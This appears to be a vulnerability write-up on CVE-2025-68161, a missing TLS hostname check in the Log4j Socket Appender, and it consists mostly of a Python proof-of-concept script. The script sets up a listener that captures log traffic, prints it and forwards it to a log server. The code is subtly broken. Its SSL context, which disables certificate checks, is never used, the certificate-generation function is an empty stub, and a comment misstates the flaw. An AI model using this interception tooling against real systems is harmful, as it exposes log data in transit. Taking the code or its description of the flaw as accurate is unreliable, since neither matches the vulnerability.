CVE-2025-68161 Apache Log4j Core Socket Appender TLS主机名验证缺失漏洞

#!/usr/bin/env python3 # CVE-2025-68161 PoC - MITM attack against vulnerable Log4j Socket Appender # This PoC demonstrates how an attacker can intercept TLS traffic when hostname verification is bypassed import ssl import socket import subprocess import time def create_malicious_certificate(): """ Generate a certificate that will be trusted by the vulnerable Log4j client This simulates an attacker who has obtained a certificate from a trusted CA """ # In real attack, attacker would use a certificate from a CA trusted by the target # This could be a compromised CA or a certificate for a domain the attacker controls pass def setup_mitm_proxy(listen_port=4443, target_host='logserver.example.com', target_port=4560): """ Set up a transparent proxy to intercept and potentially modify log traffic The proxy will forward traffic to the real server while logging all communications """ context = ssl.create_default_context() context.check_hostname = False # This is what the vulnerable Log4j does context.verify_mode = ssl.CERT_NONE # Bypass certificate verification server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', listen_port)) server.listen(5) print(f"[*] MITM Proxy listening on port {listen_port}") print(f"[*] Forwarding to {target_host}:{target_port}") while True: client_sock, addr = server.accept() print(f"[+] Connection from {addr}") # Log intercepted data data = client_sock.recv(4096) print(f"[*] Intercepted data: {data}") # Forward to real server try: with socket.create_connection((target_host, target_port), timeout=5) as real_server: real_server.sendall(data) response = real_server.recv(4096) client_sock.sendall(response) except Exception as e: print(f"[-] Error: {e}") client_sock.close() def exploit_conditions(): """ Verify conditions required for successful exploitation: 1. Network traffic interception capability 2. Valid certificate from trusted CA """ print("Exploitation requires:") print("1. Ability to intercept/redirect network traffic (MITM position)") print("2. Certificate signed by CA trusted by target's truststore") if __name__ == "__main__": setup_mitm_proxy()